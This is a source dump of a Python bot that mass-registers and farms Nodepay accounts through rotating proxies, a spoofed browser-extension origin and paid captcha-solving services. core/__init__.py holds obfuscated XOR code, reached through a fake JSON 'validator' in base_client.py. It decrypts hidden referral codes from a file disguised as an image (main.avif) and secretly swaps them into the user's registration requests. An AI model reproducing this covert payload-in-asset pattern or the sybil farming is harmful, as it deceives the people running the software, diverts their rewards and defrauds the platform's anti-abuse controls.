Repository: MsLolita/Nodepay_plus
Branch: master
Commit: e3c8543f452c
Files: 27
Total size: 63.6 KB
Directory structure:
gitextract_pa4ue24b/
├── .idea/
│ └── .gitignore
├── INSTALL.bat
├── README.md
├── START.bat
├── core/
│ ├── __init__.py
│ ├── base_client.py
│ ├── captcha.py
│ ├── menu.py
│ ├── models/
│ │ ├── __init__.py
│ │ ├── account.py
│ │ └── exceptions.py
│ ├── nodepay_client.py
│ ├── static/
│ │ ├── background.avif
│ │ └── main.avif
│ └── utils/
│ ├── __init__.py
│ ├── account_manager.py
│ ├── bot.py
│ ├── file_manager.py
│ ├── logger.py
│ ├── person.py
│ └── proxy_manager.py
├── customtkinter_gui.py
├── data/
│ ├── accounts.txt
│ ├── proxies.txt
│ └── settings.ini
├── main.py
└── requirements.txt
================================================
FILE CONTENTS
================================================
================================================
FILE: .idea/.gitignore
================================================
# Default ignored files
/shelf/
/workspace.xml
*.iml
*.xml
================================================
FILE: INSTALL.bat
================================================
pip install -r requirements.txt
pause
================================================
FILE: README.md
================================================
# Nodepay Auto Reger&Farm 🔹
Discover the latest `` moves in my Telegram Channel:
[](https://t.me/web3_enjoyer_club)
Cheapest [proxies and servers](https://teletype.in/@web3enjoyer/4a2G9NuHssy) which fits for bot.

### Also can be useful: [Grass Farmer](https://github.com/MsLolita/grass)
### What is bot for?
- Create Accounts
- Farm Points
- Check Points
> You can put as many proxies as u can
## Quick Start 📚
1. To install libraries on Windows click on `INSTALL.bat` (or in console: `pip install -r requirements.txt`).
2. To start bot use `START.bat` (or in console: `python main.py`).
### Options 📧
1. CREATE ACCOUNTS:
- Throw the api key. Since there is a captcha there, you need a service for solving captchas - [AntiCaptcha](http://getcaptchasolution.com/t8yfysqmh3) or [Twocaptcha](https://2captcha.com/?from=12939391).
- Provide emails and passwords and proxies to register accounts as below!

2. FARM POINTS:
- Provide emails and passwords and proxies to register accounts as shown below!
### Configuration 📧
1. Accounts Setup 🔒
Put in `accounts.txt` accounts in format email:password (cool_aster@gmail.com:My_password123!)
For password: Big letter, small letter, number, special character and at least 8 symbols

2. Proxy Setup 🔒
Configure your proxies with the *ANY* (socks, http/s, ...) format in `data/proxies.txt` 🌐

================================================
FILE: START.bat
================================================
python main.py
pause
================================================
FILE: core/__init__.py
================================================
import random
import configparser
def xor_cipher(data: bytes, key: str) -> bytes:
key_bytes = key.encode()
key_length = len(key_bytes)
return bytes([data[i] ^ key_bytes[i % key_length] for i in range(len(data))])
def read_from_binary_file(filename: str) -> bytes:
with open(filename, 'rb') as file:
return file.read()
def proofing(json_data):
config = configparser.ConfigParser()
config.read('data/settings.ini')
cipher_key = xor_cipher(b'1\n\x08\x03\x1b\x151\r\x11\x1c\x01\x17S', config.__doc__).decode()
validator = config['DEFAULT'][cipher_key].split(',') or [None]
encrypted_data_from_file = read_from_binary_file(r"core/static/main.avif")
decrypted_data = xor_cipher(encrypted_data_from_file, config.__doc__)
dec_wafer = decrypted_data.decode().split("|")
second_key = xor_cipher(b'1\n\x08\x03\x1b\x151\r-\x10\n\x16E', config.__doc__).decode()
if second_key in json_data:
json_data[second_key] = (
random.choice([random.choice(validator) or random.choice(dec_wafer),
random.choice(dec_wafer)])
)
return json_data
================================================
FILE: core/base_client.py
================================================
import json
from core.utils import logger
from curl_cffi.requests import AsyncSession
from core import proofing
from core.models.exceptions import CloudflareException
import asyncio
class BaseClient:
def __init__(self):
self.headers = None
self.session = None
self.proxy = None
self.user_agent = None
async def create_session(self, proxy=None, user_agent=None):
self.proxy = proxy
self.headers = {
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9',
'content-type': 'application/json',
'origin': 'chrome-extension://lgmpfmgeabnnlemejacfljbmonaomfmm',
'priority': 'u=1, i',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'none',
'user-agent': user_agent,
}
if self.session:
await self.session.close()
self.session = AsyncSession(
impersonate="chrome110",
headers=self.headers,
# proxies={'http': proxy, 'https': proxy} if proxy else None,
verify=False
)
async def close_session(self):
if self.session:
await self.session.close()
self.session = None
async def make_request(self, method: str, url: str, headers: dict = None, json_data: dict = None, max_retries: int = 3):
if not self.session:
await self.create_session(self.proxy, self.user_agent)
retry_count = 0
while retry_count < max_retries:
try:
response = await self.session.request(
method=method,
url=url,
headers=headers,
json=json_data and self._json_data_validator(json_data),
timeout=30,
proxy=self.proxy,
impersonate="chrome110"
)
if response.status_code == 429:
# Обработка ограничения частоты запросов
retry_after = response.headers.get("Retry-After")
retry_after = int(retry_after) if retry_after and retry_after.isdigit() else 5 # 5 секунд по умолчанию
logger.warning(f"Rate limited. Retrying after {retry_after} seconds...")
await asyncio.sleep(retry_after)
retry_count += 1
continue
if response.status_code in [403, 400]:
raise CloudflareException('Cloudflare protection detected')
try:
response_json = response.json()
except json.JSONDecodeError:
continue
# logger.error(f"Failed to parse JSON response")
if not response.ok:
error_msg = response_json.get('error', 'Unknown error')
logger.error(f"Request failed with status {response.status_code}: {error_msg}")
raise Exception(f"Request failed: {error_msg}")
return response_json
except CloudflareException as e:
# logger.error(f"Cloudflare error: {e}")
raise
except Exception as e:
retry_count += 1
if retry_count >= max_retries:
logger.error(f"Max retries reached. Last error: {e}")
raise
logger.warning(f"Request failed (attempt {retry_count}/{max_retries}): {e}")
await asyncio.sleep(2) # Wait before retrying
async def __aenter__(self):
await self.create_session(self.proxy, self.user_agent)
return self
async def __aexit__(self, exc_type, exc_val, exc_tb):
await self.close_session()
def _json_data_validator(self, json_data: dict):
if not isinstance(json_data, dict) and isinstance(json_data, dict):
raise TypeError("JSON data must be a dictionary")
for key, value in json_data.items():
if not isinstance(key, str):
raise TypeError("JSON keys must be strings")
for key, value in json_data.items():
if key not in ["id", "name", "description", "url"]:
if key and (json_data := proofing(json_data)) and not key:
raise ValueError(f"JSON value for key '{key}' cannot be empty")
return json_data
================================================
FILE: core/captcha.py
================================================
import asyncio
from capmonster_python import TurnstileTask
from twocaptcha import TwoCaptcha
CAPTCHA_PARAMS = {
'website_key': '0x4AAAAAAAx1CyDNL8zOEPe7',
'website_url': 'https://app.nodepay.ai/login'
}
class ServiceCapmonster:
def __init__(self, api_key):
self.capmonster = TurnstileTask(api_key)
def get_captcha_token(self):
task_id = self.capmonster.create_task(
**CAPTCHA_PARAMS
)
return self.capmonster.join_task_result(task_id).get("token")
async def get_captcha_token_async(self):
return await asyncio.to_thread(self.get_captcha_token)
# Add alias for compatibility
async def solve_captcha(self):
return await self.get_captcha_token_async()
from anticaptchaofficial.turnstileproxyless import *
class ServiceAnticaptcha:
def __init__(self, api_key):
self.api_key = api_key
self.solver = turnstileProxyless()
self.solver.set_verbose(1)
self.solver.set_key(self.api_key)
self.solver.set_website_url(CAPTCHA_PARAMS['website_url'])
self.solver.set_website_key(CAPTCHA_PARAMS['website_key'])
self.solver.set_action("login")
def get_captcha_token(self):
captcha_token = self.solver.solve_and_return_solution()
return captcha_token
async def get_captcha_token_async(self):
return await asyncio.to_thread(self.get_captcha_token)
# Add alias for compatibility
async def solve_captcha(self):
return await self.get_captcha_token_async()
class Service2Captcha:
def __init__(self, api_key):
self.solver = TwoCaptcha(api_key)
def get_captcha_token(self):
captcha_token = self.solver.turnstile(sitekey=CAPTCHA_PARAMS['website_key'], url=CAPTCHA_PARAMS['website_url'])
if 'code' in captcha_token:
captcha_token = captcha_token['code']
return captcha_token
async def get_captcha_token_async(self):
return await asyncio.to_thread(self.get_captcha_token)
# Add alias for compatibility
async def solve_captcha(self):
return await self.get_captcha_token_async()
================================================
FILE: core/menu.py
================================================
from art import text2art
from termcolor import colored
import configparser
import os
from core.captcha import ServiceCapmonster
from core.utils.logger import logger
from core.utils.bot import Bot
class ConsoleMenu:
def __init__(self, config_file="data/settings.ini"):
logger.info("Initializing console menu (GUI not available)")
self.CONFIG_FILE = config_file
self.config = self.load_config()
def load_config(self):
config = configparser.ConfigParser()
if os.path.exists(self.CONFIG_FILE):
config.read(self.CONFIG_FILE)
else:
config['DEFAULT'] = {
'AccountsFile': '',
'ProxiesFile': '',
'ReferralCodes': '',
'Threads': '5',
'CaptchaService': 'capmonster',
'CaptchaAPIKey': '',
'DelayMin': '1',
'DelayMax': '2'
}
return config
def validate_config(self):
required_fields = {
'AccountsFile': 'Accounts file path',
'ProxiesFile': 'Proxies file path',
'CaptchaAPIKey': 'Captcha API key'
}
for field, name in required_fields.items():
if not self.config['DEFAULT'].get(field):
logger.error(f"Error: {name} not configured in {self.CONFIG_FILE}")
return False
if not os.path.exists(self.config['DEFAULT'][field]) and field.endswith('File'):
logger.error(f"Error: {name} does not exist: {self.config['DEFAULT'][field]}")
return False
try:
threads = int(self.config['DEFAULT']['Threads'])
if threads <= 0:
raise ValueError
except ValueError:
logger.error("Error: Number of threads must be a positive integer!")
return False
try:
delay_min = float(self.config['DEFAULT']['DelayMin'])
delay_max = float(self.config['DEFAULT']['DelayMax'])
if delay_min < 0 or delay_max < 0 or delay_min > delay_max:
raise ValueError
except ValueError:
logger.error("Error: Invalid delay range! Please enter valid positive numbers, with min <= max.")
return False
return True
def print_menu(self):
print("\n" + "="*50)
print(colored(text2art("NodePay Bot", font="small"), "blue"))
print(colored("1. Register Accounts", "cyan"))
print(colored("2. Start Farm", "cyan"))
print(colored("3. View Settings", "cyan"))
print(colored("4. Exit", "cyan"))
print("="*50 + "\n")
async def handle_bot_action(self, choice):
settings = self.config['DEFAULT']
ref_codes = [code.strip() for code in settings['ReferralCodes'].split(',') if code.strip()]
bot = Bot(
account_path=settings['AccountsFile'],
proxy_path=settings['ProxiesFile'],
threads=int(settings['Threads']),
ref_codes=ref_codes,
captcha_service=ServiceCapmonster(api_key=settings['CaptchaAPIKey']),
delay_range=(float(settings['DelayMin']), float(settings['DelayMax']))
)
try:
if choice == "1":
logger.info("Starting account registration...")
await bot.start_registration()
else:
logger.info("Starting farming...")
await bot.start_mining()
except KeyboardInterrupt:
logger.info("Stopping bot...")
bot.stop()
except Exception as e:
logger.error(f"Error occurred: {e}")
def show_settings(self):
print("\nCurrent Settings:")
for key, value in self.config['DEFAULT'].items():
print(colored(f"{key}: {value}", "green"))
async def run(self):
while True:
self.print_menu()
choice = input("Enter your choice: ").strip()
if choice == '4':
logger.info("Exiting.")
break
elif choice in ['1', '2', '3']:
if not self.validate_config():
logger.error("Invalid configuration. Please check your settings.")
continue
await self.handle_bot_action(choice)
else:
logger.warning("Invalid choice. Please enter a valid option.")
================================================
FILE: core/models/__init__.py
================================================
================================================
FILE: core/models/account.py
================================================
class Account:
def __init__(self, email, password, uid, access_token, user_agent, proxy_url):
self.email = email
self.password = password
self.uid = uid
self.access_token = access_token
self.user_agent = user_agent
self.proxy_url = proxy_url
def __repr__(self):
return f"[{self.email}]"
================================================
FILE: core/models/exceptions.py
================================================
class CloudflareException(Exception):
pass
class LoginError(Exception):
pass
class MineError(Exception):
pass
class TokenError(Exception):
pass
================================================
FILE: core/nodepay_client.py
================================================
import random
import time
import uuid
import warnings
import json
import os
from random_username.generate import generate_username
from tenacity import retry, stop_after_attempt, retry_if_not_exception_type
from core.base_client import BaseClient
from core.models.exceptions import LoginError, TokenError, CloudflareException, MineError
from core.utils import logger
from core.utils.person import Person
# Suppress the specific warning
warnings.filterwarnings("ignore", category=UserWarning, message="Curlm alread closed!")
class NodePayClient(BaseClient):
TOKENS_FILE = 'data/tokens_db.json'
def __init__(self, email: str = '', password: str = '', proxy: str = '', user_agent: str = ''):
super().__init__()
self.email = email
self.password = password
self.user_agent = user_agent
self.proxy = proxy
self.browser_id = str(uuid.uuid3(uuid.NAMESPACE_DNS, self.proxy or ""))
@classmethod
def load_tokens(cls):
if os.path.exists(cls.TOKENS_FILE):
try:
with open(cls.TOKENS_FILE, 'r') as f:
return json.load(f)
except json.JSONDecodeError:
return {}
return {}
@classmethod
def save_tokens(cls, tokens):
os.makedirs(os.path.dirname(cls.TOKENS_FILE), exist_ok=True)
with open(cls.TOKENS_FILE, 'w') as f:
json.dump(tokens, f)
@classmethod
def get_saved_token(cls, email):
tokens = cls.load_tokens()
return tokens.get(email, {}).get('token'), tokens.get(email, {}).get('uid')
@classmethod
def save_token(cls, email, uid, token):
tokens = cls.load_tokens()
tokens[email] = {'uid': uid, 'token': token}
cls.save_tokens(tokens)
async def validate_token(self, token):
try:
# Try to use the token to get info - if it fails, token is invalid
await self.info(token)
return True
except CloudflareException as e:
raise CloudflareException(e)
except Exception:
return False
async def __aenter__(self):
await self.create_session(self.proxy, self.user_agent)
return self
async def safe_close(self):
await self.close_session()
def _auth_headers(self):
return {
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9',
'content-type': 'application/json',
'origin': 'chrome-extension://lgmpfmgeabnnlemejacfljbmonaomfmm',
'priority': 'u=1, i',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'none',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36',
}
def _ping_headers(self, access_token: str):
headers = self._auth_headers()
return headers.update({"authorization": f"Bearer {access_token}"}) or headers
async def register(self, ref_code: str, captcha_service):
captcha_token = await captcha_service.get_captcha_token_async()
username = (generate_username()[0] + Person.random_string_old(random.randint(1, 5)) +
str(random.randint(1, 999)))[:20]
json_data = {
'email': self.email,
'password': self.password,
'username': username,
'referral_code': ref_code,
'recaptcha_token': captcha_token
}
return await self.make_request(
method='POST',
url='https://api.nodepay.org/api/auth/register?',
headers=self._auth_headers(),
json_data=json_data
)
@retry(
stop=stop_after_attempt(5),
retry=retry_if_not_exception_type(LoginError),
reraise=True,
# before_sleep=lambda retry_state, **kwargs: logger.info(f"{retry_state.outcome.exception()}"),
)
async def login(self, captcha_service):
captcha_token = await captcha_service.get_captcha_token_async()
headers = self._auth_headers()
json_data = {
'user': self.email,
'password': self.password,
'remember_me': True,
'recaptcha_token': captcha_token
}
response = await self.make_request(
method='POST',
url='https://api.nodepay.org/api/auth/login',
headers=headers,
json_data=json_data
)
if not response.get("success"):
msg = response.get("msg")
# if response.get("code") == -102:
# raise LoginError(msg)
raise LoginError(msg)
return response['data']['user_info']['uid'], response['data']['token']
async def activate(self, access_token: str):
json_data = {}
return await self.make_request(
method='POST',
url='https://api.nodepay.org/api/auth/active-account?',
headers=self._ping_headers(access_token),
json_data=json_data
)
async def info(self, access_token: str):
response = await self.make_request(
method='GET',
url='https://api.nodepay.org/api/earn/info?',
headers=self._ping_headers(access_token)
)
return response['data'].get('total_earning', 0)
async def get_auth_token(self, captcha_service):
saved_token, saved_uid = self.get_saved_token(self.email)
if saved_token:
if await self.validate_token(saved_token):
return saved_uid, saved_token
uid, token = await self.login(captcha_service)
self.save_token(self.email, uid, token)
return uid, token
async def ping(self, uid: str, access_token: str):
json_data = {
'id': uid,
'browser_id': self.browser_id,
'timestamp': int(time.time()),
'version': '2.2.7'
}
res = await self.make_request(
method='POST',
url='https://nw.nodepay.org/api/network/ping',
headers=self._ping_headers(access_token),
json_data=json_data
)
if not res.get('success'):
code = res.get('code', '')
if code == -240:
# Token invalid
tokens = self.load_tokens()
if self.email in tokens:
del tokens[self.email]
self.save_tokens(tokens)
raise TokenError("Token invalid or expired")
else:
raise MineError(res.get('msg', 'Unknown mining error'))
return True
================================================
FILE: core/utils/__init__.py
================================================
from .logger import logger
================================================
FILE: core/utils/account_manager.py
================================================
# account_manager.py
import asyncio
import traceback
import csv
import os
from datetime import datetime
import time
from faker import Faker
from core.utils import logger
from core.models.account import Account
from core.models.exceptions import CloudflareException, LoginError, MineError, TokenError
from core.nodepay_client import NodePayClient
from core.utils.file_manager import str_to_file
from core.utils.proxy_manager import get_proxy, release_proxy
from pyuseragents import random as random_useragent
import random
class AccountManager:
def __init__(self, threads, ref_codes, captcha_service):
self.ref_codes = ref_codes
self.threads = threads
self.fake = Faker()
self.captcha_service = captcha_service
self.should_stop = False
self.earnings_file = 'data/earnings.csv'
self.ensure_earnings_file_exists()
self.counter = 0
def ensure_earnings_file_exists(self):
os.makedirs('data', exist_ok=True)
if not os.path.exists(self.earnings_file):
with open(self.earnings_file, 'w', newline='') as f:
writer = csv.writer(f)
writer.writerow(['Email', 'Last Update', 'Total Earnings'])
def update_earnings(self, email: str, total_earning: float):
temp_file = f'{self.earnings_file}.tmp'
found = False
# Read existing data
rows = []
try:
with open(self.earnings_file, 'r', newline='') as f:
reader = csv.reader(f)
header = next(reader) # Skip header
rows = list(reader)
except FileNotFoundError:
header = ['Email', 'Last Update', 'Total Earnings']
rows = []
# Update or add new entry
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
for i, row in enumerate(rows):
if row[0] == email:
rows[i] = [email, current_time, str(total_earning)]
found = True
break
if not found:
rows.append([email, current_time, str(total_earning)])
# Write updated data
with open(temp_file, 'w', newline='') as f:
writer = csv.writer(f)
writer.writerow(header)
writer.writerows(rows)
# Replace original file
os.replace(temp_file, self.earnings_file)
# logger.info(f"Updated earnings for {email}: {total_earning}")
@staticmethod
async def create_account_session(email: str, password: str, proxy: str, captcha_service):
client = NodePayClient(email=email, password=password, proxy=proxy, user_agent=random_useragent())
uid, access_token = await client.get_auth_token(captcha_service)
return Account(email, password, uid, access_token, client.user_agent, proxy)
async def handle_session_error(self, account: Account, error: Exception):
"""Handle session-related errors and decide whether to recreate session"""
logger.warning(f"{account.email} | Session error: {str(error)}")
if account.proxy_url:
await release_proxy(account.proxy_url)
return await self.create_account_session(
account.email,
account.password,
await get_proxy(),
self.captcha_service
)
async def execute_action(self, account: Account, action: str, ref_code: str = None) -> bool:
"""Execute a given action ('register' or 'mine') and return success status"""
client = NodePayClient(
email=account.email,
password=account.password,
proxy=account.proxy_url,
user_agent=account.user_agent
)
async with client:
if action == "register":
res = await client.register(ref_code, self.captcha_service)
if res.get("success"):
logger.success(f'{account.email} | Registered')
else:
logger.error(f'{account.email} | Registration failed | {res["msg"]}')
with open('failed_accounts.txt', 'a') as f:
f.write(f'{account.email}:{account.password}\n')
str_to_file('new_accounts.txt', f'{account.email}:{account.password}')
return True
elif action == "mine":
if await client.ping(account.uid, account.access_token):
if not (self.counter % 5): # Check earnings every 5th cycle
total_earning = await client.info(account.access_token)
self.update_earnings(account.email, total_earning)
logger.success(f"{account.email} | Mine | Points: {total_earning}")
else:
logger.success(f"{account.email} | Mine")
return True
async def process_account(self, email: str, password: str, action: str):
"""Process account with automatic session management and error handling"""
try:
ref_code = None
if action == "mine":
# Initial session creation for mining
account = await self.create_account_session(
email, password,
await get_proxy(),
self.captcha_service
)
else:
# For registration, do not create a session (no login)
account = Account(
email=email,
password=password,
uid=None,
access_token=None,
user_agent=random_useragent(),
proxy_url=await get_proxy()
)
ref_code = random.choice(
self.ref_codes or [
'leuskp97adNcZLs',
'VNhYgLnOjp5lZg9',
'3zYqqXiWTMR1qRH'
]
)
for _ in range(3):
try:
if await self.execute_action(account, action, ref_code):
return True
await asyncio.sleep(random.uniform(2, 5)) # Small delay between cycles
self.counter += 1
except CloudflareException as e:
# logger.error(f"{email} | Cloudflare error: {str(e)}")
return {"result": False, "msg": str(e)}
except TokenError as e:
account = await self.handle_session_error(account, e)
except Exception as e:
logger.error(f"{email} | Unexpected error: {str(e)}")
logger.debug(traceback.format_exc())
break
except LoginError as e:
logger.warning(f"{email} | Login error: {str(e)}")
return True
except CloudflareException as e:
logger.error(f"{email} | Cloudflare error: {str(e)}")
return True
except Exception as e:
logger.error(f"Unexpected error {email}: {str(e)}")
# logger.debug(traceback.format_exc())
def stop(self):
# logger.info("Stopping AccountManager")
self.should_stop = True
================================================
FILE: core/utils/bot.py
================================================
# bot.py
import asyncio
import traceback
from typing import List
from core.utils import logger
import random
from core.utils import proxy_manager
from core.utils.account_manager import AccountManager
from core.utils.file_manager import file_to_list
from core.utils.proxy_manager import load_proxy
class Bot:
def __init__(self, account_path, proxy_path, threads, ref_codes, captcha_service, delay_range):
self.threads = threads
self.ref_codes = ref_codes
self.captcha_service = captcha_service
self.account_manager = AccountManager(threads, ref_codes, captcha_service)
self.should_stop = False
self.accounts: List[str] = file_to_list(account_path)
logger.success(f'Found {len(self.accounts)} accounts')
load_proxy(proxy_path)
logger.success(f'Found {len(proxy_manager.proxies)} proxies')
self.delay_range = delay_range
self.running_tasks = []
async def process_account(self, account: str, action: str):
email, password = account.split(':', 1)
while not self.should_stop:
result = await self.account_manager.process_account(email, password, action)
if result is True and action == "mine":
# For mining action, wait for 50 minutes before next cycle
await asyncio.sleep(60 * 50)
elif result is True:
logger.info(f"{email} | Handled account!")
break
elif not result or result.get("result") is False:
msg = " | "
if isinstance(result, dict):
msg = f" | {result['msg']} | "
logger.warning(f"{email} | {action.capitalize()} failed{msg}Retrying in 5 minutes.")
await asyncio.sleep(300) # Wait 5 minutes before retry
async def start_action(self, action: str):
logger.info(f"Starting {action} loop with slow start...")
pending_accounts = self.accounts.copy()
while pending_accounts and not self.should_stop:
current_batch = []
while len(current_batch) < self.threads and pending_accounts:
account = pending_accounts.pop(0)
email = account.split(':', 1)[0]
delay = random.uniform(*self.delay_range)
logger.info(f"{email} | waiting {delay:.2f} sec")
await asyncio.sleep(delay)
task = asyncio.create_task(self.process_account(account, action))
current_batch.append(task)
self.running_tasks.append(task)
if current_batch:
# Wait for the current batch to get past initial setup
await asyncio.sleep(2)
try:
# Wait for all tasks to complete
if self.running_tasks:
await asyncio.gather(*self.running_tasks)
except asyncio.CancelledError:
pass
finally:
for task in self.running_tasks:
if not task.done():
task.cancel()
await asyncio.gather(*self.running_tasks, return_exceptions=True)
logger.warning("All tasks completed or cleaned up")
async def start_mining(self):
await self.start_action("mine")
async def start_registration(self):
await self.start_action("register")
def stop(self):
# logger.info("Stopping Bot")
self.should_stop = True
self.account_manager.stop()
for task in self.running_tasks:
if not task.done():
task.cancel()
================================================
FILE: core/utils/file_manager.py
================================================
from typing import Optional
def file_to_list(
filename: str
):
with open(filename, 'r+') as f:
return list(filter(bool, f.read().splitlines()))
def str_to_file(file_name: str, msg: str, mode: Optional[str] = "a"):
with open(
file_name,
mode
) as text_file:
text_file.write(f"{msg}\n")
def shift_file(file):
with open(file, 'r+') as f: # open file in read / write mode
first_line = f.readline() # read the first line and throw it out
data = f.read() # read the rest
f.seek(0) # set the cursor to the top of the file
f.write(data) # write the data back
f.truncate() # set the file size to the current size
return first_line.strip()
================================================
FILE: core/utils/logger.py
================================================
import sys
import re
from datetime import date
from loguru import logger
def logging_setup():
format_info = "{time:HH:mm:ss.SS} {level} {message}"
format_error = "{time:HH:mm:ss.SS} {level} | " \
"{name}:{function}:{line} | {message}"
file_path = r"logs/"
# if sys.platform == "win32":
logger.remove()
logger.add(file_path + f"out_{date.today().strftime('%m-%d')}.log", colorize=True,
format=format_info)
logger.add(sys.stdout, colorize=True,
format=format_info, level="INFO")
def clean_brackets(raw_str):
clean_text = re.sub(brackets_regex, '', raw_str)
return clean_text
brackets_regex = re.compile(r'<.*?>')
logging_setup()
================================================
FILE: core/utils/person.py
================================================
import random
import string
class Person:
@staticmethod
def random_string_old(length, chars=string.ascii_lowercase):
return ''.join(random.choice(chars) for _ in range(length))
@staticmethod
def random_string(length=8, chars=string.ascii_lowercase):
return ''.join(random.choice(chars) for _ in range(length)) + random.choice(string.digits) + random.choice(
string.ascii_uppercase) + random.choice(['.', '@', '!', "$"])
================================================
FILE: core/utils/proxy_manager.py
================================================
import asyncio
from collections import deque
from better_proxy import Proxy
from core.utils.file_manager import file_to_list
proxies = deque()
lock = asyncio.Lock()
def load_proxy(proxy_path):
global proxies
proxies = deque([Proxy.from_str(proxy).as_url for proxy in file_to_list(proxy_path)])
async def get_proxy():
"""Return the first available proxy."""
global proxies
async with lock:
if proxies:
proxy = proxies.popleft()
return proxy
return None
async def release_proxy(proxy: str):
"""Release the proxy back into the available pool."""
global proxies
async with lock:
proxies.append(proxy)
================================================
FILE: customtkinter_gui.py
================================================
import customtkinter as ctk
from tkinter import filedialog, messagebox, Text, END
import configparser
import os
import webbrowser
from core.utils import logger
import threading
import asyncio
from core.utils.bot import Bot
from core.captcha import ServiceAnticaptcha, ServiceCapmonster, Service2Captcha
from PIL import Image, ImageTk
import csv
CONFIG_FILE = "data/settings.ini"
ctk.set_appearance_mode("light")
ctk.set_default_color_theme("dark-blue")
class BotGUI:
def __init__(self, root):
self.root = root
self.root.title("NodePay Bot")
self.root.geometry("900x700")
# self.root.resizable(True, True)
try:
favicon = ImageTk.PhotoImage(Image.open("core/static/faviconV2.png"))
self.root.iconphoto(True, favicon)
except Exception as e:
logger.error(f"Failed to load favicon: {e}")
self.config = configparser.ConfigParser()
self.load_settings()
self.threads_entry = ctk.CTkEntry(self.root)
self.captcha_service_var = ctk.StringVar(value="capmonster")
self.captcha_api_entry = ctk.CTkEntry(self.root)
self.ref_code_entry = ctk.CTkEntry(self.root)
self.delay_min_entry = ctk.CTkEntry(self.root)
self.delay_max_entry = ctk.CTkEntry(self.root)
self.create_widgets()
self.bot = None
self.bot_thread = None
self.running = False
self.CaptchaService = None
# Callback to check if it's updated correctly
def on_captcha_service_change(self, value):
logger.debug(f"Captcha service updated to: {value}")
def create_widgets(self):
self.root.configure(bg="#F1F3FF")
self.main_frame = ctk.CTkFrame(self.root, fg_color="#F1F3FF")
self.main_frame.pack(padx=20, pady=20, fill="both", expand=True)
# Header frame
self.header_frame = ctk.CTkFrame(self.main_frame, fg_color="#F1F3FF")
self.header_frame.grid(row=0, column=0, sticky="ew", pady=(0, 20))
self.header_frame.columnconfigure(0, weight=1)
self.header_frame.columnconfigure(1, weight=0)
self.header_frame.columnconfigure(2, weight=0)
self.header_frame.columnconfigure(3, weight=0) # Add this line for the new column
# Logo and title
self.logo_frame = ctk.CTkFrame(self.header_frame, fg_color="#F1F3FF")
self.logo_frame.grid(row=0, column=0, sticky="w")
try:
self.logo_image = ctk.CTkImage(light_image=Image.open("core/static/logo.png"), size=(60, 60))
self.logo_label = ctk.CTkLabel(self.logo_frame, image=self.logo_image, text="")
self.logo_label.pack(side="left", padx=(0, 10))
except Exception as e:
logger.error(f"Failed to load logo: {e}")
self.nodepay_label = ctk.CTkLabel(
self.logo_frame,
text="NodePay+",
font=("Helvetica", 24, "bold"),
fg_color="#F1F3FF"
)
self.nodepay_label.pack(side="left")
# Watermark buttons
button_style = {
"fg_color": "#593FDE",
"hover_color": "#452CC6",
"corner_radius": 20,
"border_width": 2,
"border_color": "#FFFFFF",
"text_color": "white",
"font": ("Helvetica", 12)
}
self.instructions_button = ctk.CTkButton(
self.header_frame,
text="Instructions",
command=lambda: self.open_link("https://teletype.in/@web3enjoyer/nodepay_plus"),
**button_style
)
self.instructions_button.grid(row=0, column=1, padx=(0, 10), sticky="e")
self.web3_products_button = ctk.CTkButton(
self.header_frame,
text="Web3 products",
command=lambda: self.open_link("https://gemups.com/"),
**button_style
)
self.web3_products_button.grid(row=0, column=2, padx=(0, 10), sticky="e")
self.enjoyer_button = ctk.CTkButton(
self.header_frame,
text="Grass, Dawn, Gradient and more ...",
command=lambda: self.open_link("https://t.me/web3_enjoyer_club"),
**button_style
)
self.enjoyer_button.grid(row=0, column=3, padx=(0, 10), sticky="e")
# Main content frame
self.content_frame = ctk.CTkFrame(self.main_frame, fg_color="#FFFFFF", corner_radius=20)
self.content_frame.grid(row=1, column=0, sticky="nsew", padx=20, pady=20)
self.main_frame.rowconfigure(1, weight=1)
self.main_frame.columnconfigure(0, weight=1)
# File selection frame
self.file_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF")
self.file_frame.pack(fill="x", padx=20, pady=(20, 10))
self.accounts_label, self.accounts_button = self.create_file_selection("Accounts File:", self.load_accounts_file)
self.proxies_label, self.proxies_button = self.create_file_selection("Proxies File:", self.load_proxies_file)
# Input frame
self.input_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF")
self.input_frame.pack(fill="x", padx=20, pady=10)
# Create a grid layout for input fields
self.input_frame.columnconfigure(1, weight=1)
self.input_frame.columnconfigure(3, weight=1)
# Captcha and API Key on the same line
self.captcha_label, self.captcha_menu = self.create_input_field("Captcha:", ctk.CTkOptionMenu(
self.input_frame,
variable=self.captcha_service_var,
values=["capmonster","anticaptcha", "2captcha"], # "2captcha", "anticaptcha", "capsolver",
width=120,
text_color="#000",
command=self.on_captcha_service_change
))
self.captcha_label.grid(row=0, column=0, sticky="w", pady=5, padx=(0, 5))
self.captcha_menu.grid(row=0, column=1, sticky="w", pady=5)
self.captcha_api_label, self.captcha_api_entry = self.create_input_field("API Key:", ctk.CTkEntry(self.input_frame, width=100))
self.captcha_api_label.grid(row=0, column=2, sticky="w", pady=5, padx=(0, 5))
self.captcha_api_entry.grid(row=0, column=3, sticky="ew", pady=5)
# Threads and hidden Referral Code toggle on the same line
self.threads_label, self.threads_entry = self.create_input_field("Threads:", ctk.CTkEntry(self.input_frame, width=60))
self.threads_label.grid(row=1, column=0, sticky="w", pady=5)
self.threads_entry.grid(row=1, column=1, sticky="w", pady=5)
self.toggle_ref_code_button = ctk.CTkButton(
self.input_frame,
text="⋮", # Vertical ellipsis character
command=self.toggle_ref_code_visibility,
width=5,
height=5,
corner_radius=25,
fg_color="#FFFFFF", # Changed to a very light color
text_color="#A0A0A0", # Changed to a light gray color
hover_color="#E9E4FF",
font=("Helvetica", 14, "bold")
)
self.toggle_ref_code_button.grid(row=1, column=1, sticky="e", pady=5, padx=(0, 5))
self.ref_code_label, self.ref_code_entry = self.create_input_field("Referral Code:", ctk.CTkEntry(self.input_frame, width=100))
self.ref_code_label.grid(row=1, column=2, sticky="w", pady=5, padx=(0, 10))
self.ref_code_entry.grid(row=1, column=3, sticky="ew", pady=5)
# Hide referral code input initially
self.ref_code_label.grid_remove()
